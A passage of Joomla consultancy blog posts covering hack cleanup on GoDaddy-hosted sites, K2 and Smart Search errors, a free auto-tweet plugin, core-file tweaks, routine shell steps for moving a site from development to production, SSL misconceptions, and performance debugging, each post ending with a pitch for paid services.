Now, there’ll be small issue remaining, which is the pages in each category. For example, when you were showing 20 articles/page for a 10,000 article category, you had 500 pages. Now you only have 10 pages. With the technique above, the links to the 500 pages will be all corrupt. To address this problem, you must temporarily override the pagination.php file (which is located under the libraries/joomla/html folder) in your own template to display the links to all the pages in one shot (so, instead of displaying links to only 10 pages at the bottom, you will display links to 500 pages). Needless to say, you must revert back to the number of articles per page that you originally had (e.g. you will need to change the number of Leading Articles or Intro Articles back to what it should be).

As you can see, this post (especially the last part) is a bit advanced and require some programming skills. If you think it’s a bit complicated and you need help implementing the solution above, then please contact us and we’ll certainly help. Our rates are reasonable, our work is professional, and we know Joomla inside out!

The “GoDaddy Joomla Hack” – How to Fix

GoDaddy, although one of the largest hosting companies out there, has a not-so-good reputation when it comes to security. In fact, many of the Joomla websites that we fix are hosted on GoDaddy. So why is that?

Well, we think that there are three major reasons why Joomla websites hosted on GoDaddy get hacked more often:

  1. GoDaddy is slow when it comes to upgrading its servers. In fact, GoDaddy has still many active servers running PHP 4 – a now defunct version of PHP that is no longer supported in any CMS (including the 2.5 version of Joomla). This causes many security issues because users simply can’t upgrade their Joomla websites even if they want to.
  2. In its basic hosting plan, GoDaddy has your website along with hundreds of websites (that belong to many different people) on the same server. Naturally, this’ll mean a huge performance hit on your Joomla website, especially if a website (out of those hundreds) is resource demanding. But that’s OK, because there’s even a bigger problem, your website could easily get hacked because of a backdoor created by another website on the same server – regardless on how isolated the accounts on that server are. Additionally, being on the same server and sharing the same IP with many other websites may damage the reputation of your website, because if the IP gets blacklisted because of a misbehavior by just one website, then this means that your website will get blacklisted as well… Not too good!

  3. GoDaddy has this simple, automated process (in the control panel) by which anyone, with very little Internet experience, can install Joomla by simply filling in a few fields. This is great, but the problem is that most of those who install Joomla this way think that it cannot be upgraded unless it is done through GoDaddy’s control panel. This is incorrect – it can be upgraded the usual way – but what makes things even more confusing for them is that GoDaddy has this (we’re trying to find a better word than “misleading”) One-click Joomla Upgrade button that people click on and think that they have upgraded their website to the latest Joomla version (and so now their websites are secure), while they really haven’t. In fact, the only think that happens when they click on that button is that GoDaddy just installs the latest Joomla version in a sub-directory and creates the matching database – it doesn’t migrate anything.

Now that we have explained why Joomla websites get hacked more often when they are hosted on GoDaddy, how can one fix/clean a GoDaddy hosted hacked Joomla website?

Well, we have noticed that most of the hacked Joomla websites on GoDaddy have just one infected file, which is usually one of those two files:

  • The file framework.php located under the includes folder.
  • The file application.php also located under the includes folder.

The hack usually consists of maliciously including a zip file somewhere in the above two files (just search for the word “zip” in those two files; on a clean website there shouldn’t be any match). Fixing the hack simply consists of removing the line that contains the word “zip”.

If none of the above files is hacked, then you can use our (now famous) super-duper way of quickly finding and fixing a (filesystem) hack on a Joomla website.

Now, if the above still fails and you still can’t find anything, then possibly your website suffers from a database hack. In this case, please follow the instructions described here to cleanup your website.

If all else fails then your best option would be to contact us. We will fix your website rapidly (in a matter of hours) at a very competitive rate. We’ll also throw in some recommendations to better protect your website in order to lessen the likelihood of another hack!

Blank Page When Saving a K2 Item

A new client called us this evening and told us that she’s seeing a blank page when saving a K2 item. She told us that the item was being saved correctly despite the blank page. Hmmm…

A blank page, as you might have already guessed, is a sign of a fatal error somewhere. So what we did was that we enabled error reporting by going to Site -> Global Configuration -> Server and changing the value of “Error Reporting” to “Maximum” (and, of course, clicking on “Save” on the top right). After doing that, we tried to save a K2 item and, unsurprisingly, we saw the following error:

Call to undefined function iconv in /administrator/components/com_finder/helpers/indexer/parser/html.php on line 33

Aha! Apparently, the PHP instance that was running did not have the iconv module installed and enabled, and that’s why the problem was happening.

But what to do?

Well, there are three solutions:

  • Solution #1: Install the iconv module

    Installing the iconv module is easier said than done, because it requires rebuilding PHP on the server with the iconv option – a task that can only be done by a real system administrator who actually knows what he’s doing. We recommend to contract this work to your hosting company (some hosting companies may do it for free, other hosting companies may refuse to do this) or to a company specialized in the administration of Linux servers.

  • Solution #2: Modify Joomla’s core

    This is a much easier solution than the first one, but, on the flip side, you will be modifying Joomla’s core, which means that a Joomla update may potentially overwrite your changes. But, if you’re willing to take the risk, then here’s how to do this (it’ll literally take minutes):

    • Open the file html.php located under the /administrator/components/com_finder/helpers/indexer/parser directory.
    • Add // to the beginning of line 33. So, instead of this line:

      $input = iconv("utf-8", "utf-8//IGNORE", $input);

      you would have this line:

      //$input = iconv("utf-8", "utf-8//IGNORE", $input);

      Note: You can remove line 33 altogether – but it’s better to leave it there, just in case you want to revert back.

    • Save the file and upload it back.

    • The problem is solved!

  • Solution #3: Disable Smart Search

    Although we have offered two solutions to the problem so far, we haven’t mentioned yet the root cause of the problem, which is Joomla’s Smart Search.

    But what is Smart Search?

    Smart Search is a Joomla technology used to handle search on the website more efficiently. Joomla claims that Smart Search returns better, faster results than Joomla’s standard search (which is completely inefficient – according to Joomla’s official website). But this “efficiency” comes at an expense – it creates a lot of redundancy at the database level and it can create problems on the website, such as the iconv problem which we are currently discussing. Additionally, if your website is extremely large, then it is recommended to disable Smart Search because it can do more harm than good. (it’ll slow down the website)

    So how do you disable Smart Search?

    Well, disabling Smart Search couldn’t be easier. All you need to do is to login to the backend of your Joomla website, and then go to Extensions -> Plug-in Manager, and then from the “Select Type” drop down, choose “finder”. Once you do that, you will need to disable all the plugins listed (by clicking on the green checkmark next to each plugin).

    Disabling Smart Search will fix the issue. We also think that it is the best solution, because according to Joomla’s official website, Smart Search is still not very stable. So while Smart Search may offer a better search experience to your users, it is better to avoid it if you can.

We hope that you found our post useful and that it helped you fix your problem. If it didn’t, or if you don’t have the technical skills to do the above (or if you’re just afraid to do it), then please contact us. We’ll fix the problem for you as soon as possible and we will charge you a very reasonable fee.

In closing, it’s almost July 1st here in Montreal (well, it’ll be July 1st in an hour), so Happy Canada Day to you if you’re a Canadian.

A Simple Plugin to Auto-Tweet from K2

At itoctopus, we like to give our readers a really special treat from time to time. Today (well, actually tonight – it’s 2:19 AM here in Montreal now), we have decided to release, for free, a plugin that is used to automatically post tweets whenever you publish a new K2 item. In other words, whenever you publish a new K2 item, a tweet will be automatically posted on the Twitter account for your choice. The tweet will be in the format: “New Post: Item Title [Item Link]“.

Unless you are a Joomla wizard, we recommend you read the following technical points to ensure that the plugin works on your website:

  • The plugin is made for the new Twitter API – which means that you must create a Twitter application here and ensure that the application has read and write access to your Twitter account. We won’t go into the details on how to do this here – please contact us if you need help in this step (note that we charge a fee for our services).

  • Once you create the application, you will need to add the Twitter generated Consumer Key, Consumer Secret, OAuth Token, and OAuth Secret values to their corresponding places in the newly installed plugin.

  • Unfortunately, even after doing the above, you still have some work to do. The plugin forcefully makes use of Google’s URL shortening service (there’s no way around this since some K2 links are very long and Google’s URL shortener is, in our opinion, the best) – which means that you will need to create an API key with Google to use this service. You can easily create one here. Once you do that, copy the API key supplied by Google and paste it in the field Google API Key in the plugin.

  • After doing all the above, you can activate the plugin and watch those tweets magically flow into Twitter every time you add a new item to K2. Note that if your K2 title is longer than 120 characters, then it’ll be trimmed down to 120 characters.

Now (also before downloading) we have a few things to say that are not that technical:

  • By downloading and installing the plugin, you are doing so at your own risk. While we are sure that our work is clean, we are not responsible for any damage that this plugin may cause to your website and/or your business (and/or everything else in this world, for that matter – including global warming!), whether directly or indirectly. In short, we cannot be held responsible for anything because of this plugin. If you don’t trust it, then don’t download it.

  • We have no hidden links anywhere in the plugin – we are totally against this practice.

  • The plugin belongs to us – we have created it from scratch. You have the right to modify it and use it any way you like, but you don’t have the right to remove our credits from the code. In other words, the name “itoctopus” should never be removed from the code.

  • The plugin includes some common PHP libraries. These PHP libraries are open source and are not written by us.

OK – now that you have read the above and that you have agreed to it, please go ahead and download the K2 Auto-Tweet plugin from here. (Compatibility: Joomla 2.5.x)

If you have problems installing the plugin (or if you need help installing it), then feel free to contact us. Please note, however, that our very reasonable fees will apply.

Warning: Joomla 2.5 Is Completely Unoptimized!

Every single time we migrate a large Joomla website to Joomla 2.5, we have to optimize it. Not because the client asks to do it and not because we think it’s fun (or because we like gold-plating), but because we have to – elsewise the website would be crawling. But why is that?

Well, let’s start by discussing the existence of the weirdest Joomla table, the #__assets table. The #__assets table, in case you don’t know, holds information about nearly everything on your Joomla website. For example, when you install a new component, a new entry in the #__assets table will be created. When you add a new article, a new entry will be created as well. But what does that entry contain? Well, it contains the parent ID of that entry (for example, if you’re adding an article, then the asset ID of the parent category will be recorded), the list of (ACL) groups that can access that entry, the left (lft) value which equals to the rgt + 1 of that entry’s immediate left sibling, and the right (rgt) value which equals to lft – 1 of the parent’s entry. Confused? We’d be very surprised if you’re not. But don’t worry, the complexity of this table is not the problem, it’s how it works!

Let’s say you have 30,000 articles on your Joomla website, and you want to add a new article under Category A. Category A has a lft value of 100 and a rgt value of 103 (in other words, it currently has only one article, its lft value being 101 and its rgt value being 102). Since we want to insert a new article in this category, then the category’s rgt value must expand by +2 (the new article’s lft value will be 103 and its rgt value will be 104) to 105. Now the problem is that all numbers above 103 are already taken by other entries in the table, which means that we have to shift all the entries with a lft value above 103 by 2. The technical cost of doing a 2 x SQL UPDATE statement on 30,000 rows (it’s 2x because we need to update the lft and the rgt fields of each row) is tremendous – and can bring the server down to its knees.

But why does Joomla have the “lft” and “rgt” fields?

Honestly, we don’t know why they’re there. Their presence is not necessary at all to the day-to-day activity of the website. They’re not used for the ordering because the ordering is saved in the ordering field in any table. They’re not used to determine the parent, because there’s already the parent field in the same (#__assets) table as well as potentially in other tables (for examples, the #__content table has the catid field that contains the parent category of each article). In fact, come to think of it, we’re not exactly sure why the whole #__assets table even exists! Joomla 1.5 ran flawlessly without it and we’re sure that Joomla 2.5 can also run flawlessly without it!

Now, let’s discuss the second problem, which is the terribly (un)optimized views. Say that you want to visit the Category Blog page of one of your biggest categories (the category has 20,000 articles). The first time you visit the page, you are likely to see a memory error because the amount of memory needed to generate the page is tremendous! (If this is the case you will need to increase the memory limit available to PHP) This is because Joomla loads most of the fields of all the 20,000 rows (including the introtext field, which usually contains the article itself) to generate that view, even though you are only seeing 30 articles at any one time. The reason that Joomla does this is for paging. What makes things worse, is that the query to load the fields is run twice: the first time to generate the view and the second time to generate the paging (read more about this here). This strategy to load everything is lazy and amateurish at best – because 1) it can take more than a minute just to load that view and 2) any rookie programmer knows that the best thing to do is to select only the ids from the table, and then select the full information on demand (in other words, we get all the ids of all the articles in that particular category, but we only get the full information of the 30 or so that we are showing at any one time).

Not strictly an optimization issue, Joomla’s 2.5 ACL is too horrible not to mention in such a post criticizing Joomla. That ACL is so flexible that it’ll allow you to easily make your website unusable if you do the wrong thing. We can’t think of any other CMS where doing a small mistake at the ACL level will render the website useless. The Joomla team, priding itself with optimizing the ACL by making it more flexible, have actually made it more dangerous. In fact, we don’t see the 2.5 ACL as an advancement, we see it as a step in the wrong direction that causes a lot of problems to Joomla administrators (the number of people asking us to fix their ACL is quite high).

Now, if your website is suffering ever since you have migrated to Joomla 2.5, then all you need to do is to contact us and we’ll make sure that your website becomes optimized in no time. Our rates are affordable, our work is top notch, and we have the right attitude! Oh, and we’re fun!

“Unknown or bad timezone” Error When Logging in to Joomla

Note: Please read this post, in full, before taking any action.

The representative of a large company that has contracted us to maintain its array of Joomla websites contacted us today and told us that some of the company’s users were not able to login to the backend of one specific website. Since we were not able to reproduce the problem ourselves (we were able to login), the representative gave us the contact information of an employee having the problem. We immediately called that employee and asked her to go to http://ourclientjoomlawebsite.com/administrator. She answered us that she was seeing a blank page – which is the sign of a fatal error somewhere on the website.

If you’re one of our avid readers, then most likely you know that we have discussed the blank page on login issue several times before – so solving the problem must be straightforward, right? Well, unfortunately, it was not: what was making this issue much more complicated is that we were not seeing the problem ourselves!

After a lot of debugging on our end, we called that employee and told her the following, “While on FireFox, can you please right click on the blank page, and then click on View Page Source, and then email us whatever you see there?”

And so she did…

While checking the code that she sent us, we noticed that everything was encapsulated in the following div tag:

<div style="display:none;">

A display:none on the parent tag is a sign that there is something that Joomla doesn’t want the public to see – and that was exactly the case… Scrolling down the code we noticed this fatal error: DateTimeZone::__construct(): Unknown or bad timezone (0). This error was not coming from Joomla, it was coming from PHP.

So, how did we solve the problem?

Well, all what we’ve done is that we logged in to the backend of the website, and then we went to Site -> Global Configuration -> Server and then we changed the value of the Server Time Zone (under Location Settings) to Chicago (which was the company’s location). We saved the configuration settings and that fixed the problem.

Note that the above solution only works when you close your browser and try to login again. (You will still see a blank page if you refresh, even after applying the fix above).

But what was the cause of this problem?

In some rare cases, we fix the problem before knowing the cause. That was one of those “rare cases”. However, we do suspect that it has something to do with cached cookies – but we can’t confirm. That might also explain why some employees were having the problem, but we (as well as other employees) were not. A potential fix would’ve been to just clear the browser’s cookies (and cache – just to be on the safe side) and try again – but we’re not 100% positive that it would have worked.

If you’re having the same problem on your website and you’re not able to fix it by yourself, then feel free to contact us! We work at near light speed, we charge a very reasonable fee, and we definitely know our Joomla!

“You are not authorized to access this attachment.” Error on Mosets Tree

A client emailed us this morning and told us that after his website was migrated to Joomla 2.5, he was seeing the below error whenever he tried to download an attachment in Mosets Tree:

You are not authorized to access this attachment.

So, we started debugging Mosets Tree in order to trace the source of the problem, and, after some time, we discovered that the above error was misleading: it wasn’t about user permissions, it was just that the file to download was not physically where it should be. For those who don’t know, Mosets Tree doesn’t use a top level folder to store its files, instead, it stores them under its own component folder (in fact, the files [or so-called attachments] are stored under the /components/com_mtree/attachments/ directory).

So, what did we do to fix the problem?

Well, it was quite easy! Thankfully, our client had a backup of his old website and so we copied the files from the old website to the new, migrated website. There are several ways to do that, but the best (and fastest one) is to use Linux’s shell to do that. Here’s how it can be done (assuming you have shell access to the server):

  • Login to shell through Putty

  • Issue the following command (will only work if your website is running under WHM – Plesk websites do not have the same directory structure):

    cp -R /home/[your-website-user]/oldwebsite/components/com_mtree/attachments /home/[your-website-user]/public_html/components/com_mtree/

  • That’s it!

If you have cPanel and you don’t have access to the shell, then all you need to do is to login to cPanel, go to the File Manager, and then right click on the attachments folder under the old website and then click on Copy (you will be able to specify the destination directory in the popup box).

Now, if you have the same problem but the above guide is a bit over your head, then why not contact us? We can fix the problem for you in no time (assuming your old files are still there) and we won’t charge you much. Be informed, though, that this error doesn’t always mean that the file is not there. In this case, our work might take a bit more time! Rest assured though – you are always in good hands and we’ll always find a solution (as long as your data is still there)!

Articles Appearing Under the Wrong Category in Joomla – How to Solve

The main administrator of a very large Joomla website called us today and told us that they have the following problem: a few articles, while being listed under the right directory, have the wrong category selected (in the menu) when they are viewed individually.

For example, Article A belongs to Category C, and when you click on the menu item pointing to Category C, you will see Article A listed – however, when you click on Article A, you notice that Category D is selected on the right menu (instead of Category C). What was even weirder is that the article’s link had category-c in it (which is correct).

Now we have been working with Joomla for many years – and this is the first time that we see such a problem. So we started investigating, and our investigation lead us to our usual suspect – sh404SEF.

Here’s what happened:

  • An author working on the website created Article A under Category D.
  • The author published the article and sh404SEF indexed and cached the article’s link and it associated it with Category D (which is fully correct).

  • The author then changed the article’s category from Category D to Category C.

  • sh404SEF did not update its cache (note: sh404SEF’s cache does not expire and must be deleted manually) – so the link was still pointing to Category D instead of Category C.

So, what did we do to fix the problem?

Well, it was quite easy, all that we did was the following:

  • We logged in to the backend of the Joomla website.
  • We clicked on Components -> sh404SEF -> URL manager on the top menu.

  • We searched for the alias of that article in the URL (for example, if the article’s link is http://www.yourjoomlawebsite.com/category-c/article-a, then you should search for article-a).

  • We deleted (with duplicates) the entries that were returned from our search above.

  • That fixed the problem!

Unfortunately, as we mentioned before, sh404SEF can cause a lot of unnecessary work because of its quirks and instability – we always suggest that you don’t use it and use Joomla’s SEF instead. Yes – the links are not great with Joomla’s core SEF – but the website will be much more stable and you will have less problems.

If you have articles appearing under the wrong category, and if you have sh404SEF installed, then the above will solve your problem. But if it doesn’t, or if you don’t even have sh404SEF installed, then please contact us. Our fees are affordable, our work is fast and professional, and we really, really care about our clients’ websites! (as well as their businesses – for that matter!)

A couple of notes:

  • sh404SEF is a very sensitive extension – and doing the wrong thing there can cause serious problems to the website.
  • You will neeed to be a super administrator to do the above.

Increasing the Search Limit in Joomla to More than 20 Characters

If you have tried to search for a very long sentence in Joomla, then most likely the only result that you got was the following:

Search term must be a minimum of 3 characters and a maximum of 20 characters.

If you really want people to search for long sentences on your website, then obviously you want to change that upper limit. But how to do that?

Well, before we tell you how, we have to say that the first time we tried to increase the maximum search limit it took us ages to find out how – it was like a wild goose chase: a file leading you to another file which leads to another file! But, we finally discovered it: it was actually a language setting! We have no idea why Joomla doesn’t have this setting in a place that is obvious – such as in the settings of the menu item pointing to the search component.

To make things even more complicated, that setting cannot be changed in Joomla’s backend, but rather in the language file (in other words, you’ll need to do some coding). So, if you want to change the maximum search limit (and assuming that you have only one language on your website, which is English), then here’s how you do this:

  • You open the file en-GB.localise.php located under the /language/en-GB/ folder.
  • In the function getUpperLimitSearchWord, you change the return value from 20 to 40 (for example). In other words, you change the following code:

    return 20;

    to

    return 40;

  • You save the file and you upload it!

  • That’s it!

Now, one thing to mention, if you have other languages then you need to do the same steps above for each one of them (for example, if your website has a French version, then you will need to do the above modifications to the file fr-FR.localise.php located under the /language/fr-FR/ directory). If you don’t have the time to do this tedious job, then you can instead do the following change to a Joomla core file to make sure that all languages have the same search limit of your choice:

  • Open the file language.php which is located under the libraries/joomla/language directory.
  • Just before this line (line 582):

    if ($this-&upperLimitSearchWordCallback !== null)

    add the following code:

    return 40; //where 40 is your new search limit

  • Save the file and upload it back.

  • That’s it!

Note that Joomla’s search module, by default, has its maxlength set to 20 – that’s why you’re not able to enter more than 20 characters in the search field of that module. However, the good news is that the maxlength value comes from the function getUpperLimitSearchWord, which means that doing the above will automatically ensure that maxlength is changed to your value of choice (for example, if you changed the value to 40 then the maxlength value will be automatically 40).

Now, if the above hasn’t worked for you or if you don’t have the programming experience to do it – then why not contact us? We’ll fix the issue for you in the speed of light (well, a bit slower, but you get the point), we won’t charge you much, and we are the friendliest programmers on planet Earth – maybe even the whole solar system!

Note: If you want to increase/decrease the lower search limit, then just replace the word upper with lower in the above guide and you’ll be all set. For example, instead of changing the return value of the function getUpperLimitSearchWord, you will need to change the return value of the function getLowerLimitSearchWord.

You Cannot Migrate a Joomla Website With the Click of a Button!

A client of us called us today and told us that her website was hacked – again! She reminded us politely that we have cleaned her old Joomla website nearly a week ago but her website got hacked again, even though she did migrate to Joomla 2.5 as we recommended her to do.

That’s odd! We thought… So we asked her who did the migration for her. She told us that she did it herself – she just clicked on a button in GoDaddy’s control panel that will “upgrade her Joomla website to 2.5″.

Knowing Joomla and GoDaddy, we were confident that such a thing was impossible. Joomla is just too complicated to migrate with a single button and GoDaddy is not a company that goes to the level of creating an extremely advanced migration script for one of the many products that it offers to its clients. Could it be another fake Joomla migration?

So we told her that we needed to access her account on GoDaddy – and what we found out was that her website wasn’t even upgraded. What that button did was that it just created a sub-folder called Joomla 2.5.11 (which is the current Joomla version) under the root directory of the website.

We communicated our findings to our client who was shocked! We were shocked as well! Come on – what’s the point of this button if all it does is create a sub-folder containing the latest version of Joomla. In our opinion, that’s a bit misleading especially since many clients don’t even know what Joomla 2.5 looks like – and so they think that they have seamlessly did the migration by clicking that button.

We have to say that we were a bit disappointed with GoDaddy – and we’ll make sure to pass this message to them.

If you think you can migrate your Joomla website with the click of a button – think again! In best case scenarios, a Joomla website migration from 1.5 to 2.5 will take at least 2 days (and that’s for a really simple website). If you need help migrating your Joomla website, then contact us. Our prices are quite affordable, our service is superb, our work is professional, we always answer the phone, and we are really, really friendly!

How to Quickly Move a Joomla Website from Development to Production

Note: This post assumes your server is powered by WHM/cPanel and that you have ssh access. If you’re using Plesk then you can still do the below with minor modifications. As usual, you can contact us for help.

Warning: While we try our best to make our guides as easy as possible, we have to warn you: any mistake here can potentially wipe out your whole website (both production and development). Make sure you proceed very carefully and make sure you give this job to a system administrator if you’re not sure what you’re doing.

If we had a dime for every time we moved a Joomla website from development to production, we’d be ultra rich. We do this nearly every day – and sometimes several times a day. We have reached a point where we know the process by heart. In case you want to do it yourself, here’s how it’s done.

  1. Connect to your server through ssh

    You can use a tool like Putty to connect to your server’s shell. You don’t have to connect as root but usually this makes the job easier.

  2. Change to your website’s main directory

    Issue the following command:

    cd /home/[your-user]/ (if you’re logged in as root)

    or

    cd / (if you’re logged in as the website’s user)

  3. Create a temporary folder where both the production and the development websites will be moved into

    Issue the following commands:

    mkdir old
    mkdir new

    The first directory will hold the current production website, and the second directory will hold the current development website.

  4. Move the development website to the “new” directory

    Assuming that the development website exists under /home/[your-user]/public_html/v2/, issue the following command:

    mv /home/[your-user]/public_html/v2/ /home/[your-user]/new/ (if you’re logged in as root)

    or

    mv /public_html/v2 /new/ (if you’re logged in as the website’s user)

  5. Move the production website to the “old” directory

    Issue the following command:

    mv /home/[your-user]/public_html/* /home/[your-user]/old/ (if you’re logged in as root)

    or

    mv /public_html/* /old/ (if you’re logged in as the website’s user)

  6. Move the development website into production

    Issue the following command:

    mv /home/[your-user]/new/* /home/[your-user]/public_html/ (if you’re logged in as root)

    or

    mv /new/* /public_html/ (if you’re logged in as the website’s user)

  7. Rename htaccess.txt to .htaccess

    A quick note before doing the below. Unfortunately, the Linux mv command does not move hidden files by default (the htaccess file is typically a hidden file), so what you need to do is to first explicity move/delete the old .htaccess that is still residing in the public_html directory.

    While under the public_html directory, issue the following command:

    mv htaccess.txt .htaccess

  8. Fix the configuration.php file

    The configuration.php in the new website most likely now contains incorrect log and tmp values. If your development website was running under a v2 folder, then make sure you trim that /v2 from the values of the $log_path and $tmp_path global variables.

  9. Ensure that all the permissions are correct

    Make sure that you’re giving Apache write permissions only to where it should be able to write. E.g. the cache folder, the images folder, the logs folder, and the tmp folder. Note also that some components may require write access to some specific directories inside the components or administrator/components folder (sh404SEF is one example, VirtueMart is another example).

  10. Backup your current production website

    Just issue the following simple command to backup the website:

    cp -R /home/[your-user]/public_html/* /home/[your-user]/new/ (if you’re logged in as root)

    or

    cp -R /public_html/* /new/ (if you’re logged in as the website’s user)

    Note that the above step can take some time if you’re running a huge website. Also note that the above will not backup your database – your database can be easily backed up using phpMyAdmin.

  11. Congratulate yourself on a job well done

    Now sit back and relax – your development website has replaced production, and your visitors are now enjoying a (hopefully) better, more reliable website.

Now, in case you’re experiencing a hiccup anywhere in the process above, then we urge you to contact us. We’ll definitely solve the problem for you, we’ll charge you a very reasonable fee, and we’ll do it for you very, very quickly.

Can an SSL Certificate Protect My Joomla Website from Hacks?

We just had an interesting conversation over the phone with a Joomla website administrator. The conversation went like this:

- “Hi. My name is [customer name] and I work at [company name] and I’m calling you because I heard that you are experts in Joomla security.”

- “That is true”, we said, “How can we help you?”

- “Well, my hosting company wants to sell me an SSL certificate – claiming that my company’s Joomla website will be completely secure and literally unhackable when an SSL certificate is installed, is this correct?”

- “Ummm, no…” – and then we explained to that person 2 things – 1) an SSL certificate has nothing to do with the security of the actual website and 2) hosting companies know very little on how to secure a website (if that wasn’t the case, then our client list would be much smaller than it is right now).

Now you might be thinking, what are these guys saying? SSL is short for Secure Sockets Layer, so it must have something to do with security. Well, let us explain, in layman terms, what an SSL is…

Let’s assume that you are a father (by the way, if you are really a father, then congratulations, father’s day is next Sunday!) and that you are talking with your son (who lives on the other end of the city) using home phone at around 8 PM. You are having one of those “father-to-son” conversations. Your nosy wife, who can’t stand not knowing everything and anything, picks up the other handset and starts eavesdropping.

By default, any request that you submit to a website with no SSL certificate is similar to the above conversation – anyone with the right tools can know the information that you are sending to the website and that the website is sending to you.

Now, let’s assume that over the years you have developed a new language that only you and your son know – let’s call this language the Martian Language. So, if you spoke over the phone with your son using the Martian Language, then there is no way your nosy wife can understand what you’re saying. Using a website with an SSL certificate installed is identical to this scenario, the information transmitted to the website is encrypted in such a way that only that website and your browser can understand it – and no one else. The same goes for the information transmitted from the website to your browser.

So, in other words, an SSL serves to encrypt the information transmitted from and to the website – and has nothing to do with website security itself. In short, an SSL certificate offers nothing to protect your website from hacks!

So why do some hosting companies say that an SSL certificate will protect your website?

Unfortunately, there are many unethical hosting companies out there that capitalize on their clients’ sensitivity towards the security of their websites. So they throw at them all kinds of products that they (their clients) may or may not need claiming that these products can make their websites more secure. As a rule of thumb, be very wary of a host that gives you a special deal about a product that is guaranteed to have positive results on your website – regardless of what that product is. Most likely that product is something that you don’t need claiming to do something that it can’t do.

So, when is an SSL certificate really needed?

An SSL certificate is needed when you are requesting sensitive information on your website (such as credit card information, SSN, etc…). In fact, an SSL certificate is a must to meet PCI standards (note: we do offer a service to make a Joomla website PCI compliant – check it here) if you want to do business online.

Now – if you are unsure on how to make your Joomla website more secure, then why don’t you contact us? We are experts in Joomla security, we charge a very affordable fee, and we are the friendliest developers on this planet!

How We Optimized a Large Joomla 2.5 Website and Made It Over 200 Times Faster

Note: This post is extremely advanced. If you’re not a technical person then we suggest you email it to your developer so that he can implement the suggestions below. If you don’t have a developer you can call us and we’ll take care of the optimization of your Joomla website.

We had a small debate amongst us when giving a title for this post – some of us thought that the “200 times” may seem like a marketing gimmick (something that we don’t do nor care about at itoctopus) – but at the end, there was a consensus to go with this title because there was no exaggeration whatsoever, it was true – and in this post we’ll explain how we did it!

A new client called us last Thursday (today is Tuesday) and told us that a local development company has just finished migrating his company’s website (the website was a hospital website with over 40,000 articles) to Joomla 2.5. Everything worked fine, except that the website was extremely slow – pages were literally taking ages to load. In fact, each page was taking 75 seconds to fully display on the browser. Needless to say, our client refrained from moving the website to production until the speed issue was resolved. As you have probably guessed, the client asked for our help to solve the problem…

Well, we first informed the client that by default, a Joomla 1.5 website is faster than a Joomla 2.5 website (this is a fact that the creators of Joomla seem to [unfortunately] deny). The reason for this is that Joomla 2.5 builds on some of the bad habits of Joomla 1.5, while it can do without them. Additionally, the developers of Joomla 2.5 seem to have forgotten that there are some very large websites using Joomla (OK, we’re done bashing the Joomla team).

We then informed the client that for Joomla to work with such an enormous amount of data, 2 factors have to be optimized: the hardware and the application.

Let’s start with the hardware first (the hardware is the least important of the two, but it’s the easiest to get done). A high traffic large Joomla website must be hosted on a very high end server, with the following specifications: 64GB of RAM, a 16 core high performance CPU, and an SSD drive. The large amount of RAM is needed to prevent disk swapping in case there are a large number of simultaneous visitors. The 16 core high performance CPU is necessary to handle the load that a huge Joomla website throws on MySQL. The SSD significantly reduces the access overhead to the filesystem and to the database.

As previously stated, the hardware is the easy part, because it’s just a matter of procuring the server with the above specifications (be aware that such as server can run you about $1,500 monthly).

As for optimizing the application, we informed our client that what we meant by that was modifying Joomla’s core to better adapt to the needs of his particular website. Our new client asked us to do the application optimization first, and here’s how we did it…

First of all, we printed all the queries that were processed on each and every page. We did that by adding an echo state to the setQuery function which is in the JDatabase class (in the file database.php which his located under the libraries/joomla/database folder). Not only that, we also printed the time of the start time of each and every query. Here’s the code that we added to the function setQuery to achieve this:


if ($_SERVER['REMOTE_ADDR'] == '[OUR IP]'){ //this if statement ensures that this debugging is only visible for our IP
	$strTime = microtime();
	$arrTime = explode(' ', $strTime);
	echo("\n\n".$arrTime[1] + $arrTime[0]."\n");
	echo($query."\n\n");
	flush(); //flush allows us to display the query that is being executed
	ob_flush();
}

Note: We are assuming, in our above code, that the non-database time to generate the page is negligible, which is the case in almost all Joomla websites.

Once we added the above code, we went to the homepage of the website (which was pointing to the featured items page) and we were surprised that a few Joomla queries caused a lot of slowdown. In fact, these Joomla queries, combined, took about 75 seconds to be done. One of them, in particular, took about 30 seconds and was being run twice (the same exact query). It was this one:

SELECT a.id, a.title, a.alias, a.title_alias, a.introtext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, a.modified_by, uam.name as modified_by_name,CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, LENGTH(a.fulltext) AS readmore,CASE WHEN badcats.id is not null THEN 0 ELSE a.state END AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,contact.id as contactid,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count,c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published FROM #__content AS a LEFT JOIN #__content_frontpage AS fp ON fp.content_id = a.id LEFT JOIN #__categories AS c ON c.id = a.catid LEFT JOIN #__users AS ua ON ua.id = a.created_by LEFT JOIN #__users AS uam ON uam.id = a.modified_by LEFT JOIN ( SELECT contact.user_id, MAX(contact.id) AS id, contact.language FROM #__contact_details AS contact WHERE contact.published = 1 GROUP BY contact.user_id, contact.language) AS contact ON contact.user_id = a.created_by LEFT JOIN #__categories as parent ON parent.id = c.parent_id LEFT JOIN #__content_rating AS v ON a.id = v.content_id LEFT OUTER JOIN (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt WHERE parent.extension = 'com_content' AND parent.published != 1 GROUP BY cat.id ) AS badcats ON badcats.id = c.id WHERE a.access IN (1,1) AND c.access IN (1,1) AND CASE WHEN badcats.id is null THEN a.state ELSE 0 END = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2013-06-10 04:53:14') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2013-06-10 04:53:14') GROUP BY a.id, a.title, a.alias, a.title_alias, a.introtext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, a.created, a.modified, a.modified_by, uam.name, a.publish_up, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, 